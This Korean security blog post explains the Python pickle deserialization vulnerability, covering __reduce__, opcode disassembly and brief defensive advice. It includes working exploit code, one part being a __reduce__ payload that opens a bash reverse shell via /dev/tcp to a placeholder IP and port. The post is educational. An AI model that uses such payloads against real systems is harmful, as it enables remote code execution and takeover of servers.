Profile

i love cat

as3617

Python Pickle Deserialization Vulnerability (Python pickle 취약점)

Python Pickle Deserialization Vulnerability

What is pickle?

  • Python에서의 객체의 직렬화(Pickling)와 역직렬화(Unpickling)를 위한 모듈
  • 객체를 직렬화하여 파일에 저장하는 것이 가능
  • 파일에 저장된 객체를 가져와 역직렬화하는 것도 가능함

example code

import pickle

Object_1 = {}
Object_1 = {'name': 'Object!','dummy':'yes'}
pickle_data = pickle.dumps(Object_1)
with open("Object_1.data", "wb") as file:
    file.write(pickle_data)
with open("Object_1.data", "rb") as file:
    pickle_data = file.read()
Object_1 =  pickle.loads(pickle_data)
print(Object_1)

 

Python Pickling Method

Python Pickle 모듈에서는 다양한 메소드들을 지원해주고 있다.

ex)
object.__getnewargs_ex__( )
object.__getnewargs__( )
object.__getstate__( )
object.__setstate__(state)
object.__reduce__( )
object.__reduce_ex__(protocol)

 

이 중 취약점이 발생하는 메소드는 object.__reduce__( )메소드다.

공식 문서에는 다음과 같이 설명이 되있다.

 

The interface is currently defined as follows. The __reduce__() method takes no argument and shall return either a string or preferably a tuple (the returned object is often referred to as the “reduce value”).

If a string is returned, the string should be interpreted as the name of a global variable. It should be the object’s local name relative to its module; the pickle module searches the module namespace to determine the object’s module. This behaviour is typically useful for singletons.

When a tuple is returned, it must be between two and six items long. Optional items can either be omitted, or None can be provided as their value. The semantics of each item are in order:

A callable object that will be called to create the initial version of the object.

A tuple of arguments for the callable object. An empty tuple must be given if the callable does not accept any argument.

Optionally, the object’s state, which will be passed to the object’s __setstate__() method as previously described. If the object has no such method then, the value must be a dictionary and it will be added to the object’s __dict__ attribute.

Optionally, an iterator (and not a sequence) yielding successive items. These items will be appended to the object either using obj.append(item) or, in batch, using obj.extend(list_of_items). This is primarily used for list subclasses, but may be used by other classes as long as they have append() and extend() methods with the appropriate signature. (Whether append() or extend() is used depends on which pickle protocol version is used as well as the number of items to append, so both must be supported.)

Optionally, an iterator (not a sequence) yielding successive key-value pairs. These items will be stored to the object using obj[key] = value. This is primarily used for dictionary subclasses, but may be used by other classes as long as they implement __setitem__().

Optionally, a callable with a (obj, state) signature. This callable allows the user to programmatically control the state-updating behavior of a specific object, instead of using obj’s static __setstate__() method. If not None, this callable will have priority over obj’s __setstate__().

New in version 3.8: The optional sixth tuple item, (obj, state), was added.

 

__REDUCE__ 메소드는 Python 객체를 Unpickling할 때 객체를 재구성하는 것에 대한 tuple을 반환해주는 메소드다.

일반적으로 tuple은 다음과 같이 구성되있다고 한다.

  • 호출가능한 객체
  • 위의 호출가능한 객체의 인자

이 때 우리는 tuple이 함수를 반환하게 할 수 있으며 이를 통해 우리가 원하는 함수를 실행하는 것이 가능하다.

실제로 공식문서에서는 Pickle Module은 안전하지 않다고 경고하고 있다.

 

how to exploit?

우리는 위에서 __reduce__메소드가 tuple을 반환 할 때 함수를 반환하게 할 수 있다고 했다.

이 때 우리는 원하는 함수를 실행하는 것이 가능한데 Unpickling되는 객체에 우리가 접근하는 것이

가능하다면 RCE 공격을 하는 것이 가능해진다.

import pickle
import os
class Vuln(object):
    def __reduce__(self):
        return (os.system, ('echo RCE!!!', ))
pickle_data = pickle.dumps(Vuln())
pickle.loads(pickle_data)

위와 같은 코드를 실행하면 RCE!!!가 출력되는 것을 볼 수 있다.

 

Why?

Python Pickle은 OPCODE로 이루어져 있다.

아까 우리가 RCE에 사용한 pickle을 byte로 확인해보면 다음과 같이 구성되있다.

print(pickle_data)
>> b'\x80\x03cnt\nsystem\nq\x00X\n\x00\x00\x00echo RCE!!q\x01\x85q\x02Rq\x03.'

우리가 보기 쉽게 변환하면 다음과 같다.

import pickletools
pickletools.dis(pickle_data)
>>
0: \x80 PROTO      3
    2: c    GLOBAL     'nt system'
   13: q    BINPUT     0
   15: X    BINUNICODE 'echo RCE!!'
   30: q    BINPUT     1
   32: \x85 TUPLE1
   33: q    BINPUT     2
   35: R    REDUCE
   36: q    BINPUT     3
   38: .    STOP
highest protocol among opcodes = 2

 

위의 OPCODE를 분석해보면 스택에 data들을 push하고 REDUCE를 호출하는 것을 볼 수 있다.

REDUCE OPCODE는 스택에서 호출가능한 객체가 있으면 인수와 함께 가져와서 실행을 해준다.

이때 객체에 대한 검증없이 실행을 해주기 때문에 취약점이 발생하게 된다.

만약 취약점이 발견되었다면 다음과 같은 코드를 이용하여 reverse shell을 여는 것이 가능하다.

 

import pickle
import os

command = "bash -c 'bash -i >& /dev/tcp/IP/port 0>&1'"
class Vuln(object):
    def __reduce__(self):
        return (os.system, (command,))
pickle_data = pickle.dumps(Vuln())
pickle.loads(pickle_data)

 

매우 간단해보이지만 큰 피해를 입힐 수 있는 공격이다.

pickle 모듈을 사용하는 환경에서 위의 공격을 방어하기 위해서는 사용자가 보낸 데이터를 무조건 신뢰하지 않고 적절한 필터링과 검증을 통해 악의적인 입력을 방어하는 것이 중요하다.

Reference

https://python.flowdas.com/library/pickletools.html

https://docs.python.org/3/library/pickle.html

https://adrianstoll.com/computer-insecurity/python-in-a-pickle.html

'web hacking' 카테고리의 다른 글

SQL Injection 정리  (0) 2020.11.08
TokyoWesterns CTF 2020 Web Writeup  (0) 2020.09.21
Python Pickle Deserialization Vulnerability (Python pickle 취약점)  (0) 2020.04.22
los rubiya allclear  (0) 2020.02.29
los rubiya 1일차  (0) 2019.12.17
los rubiya 1일차  (0) 2019.12.17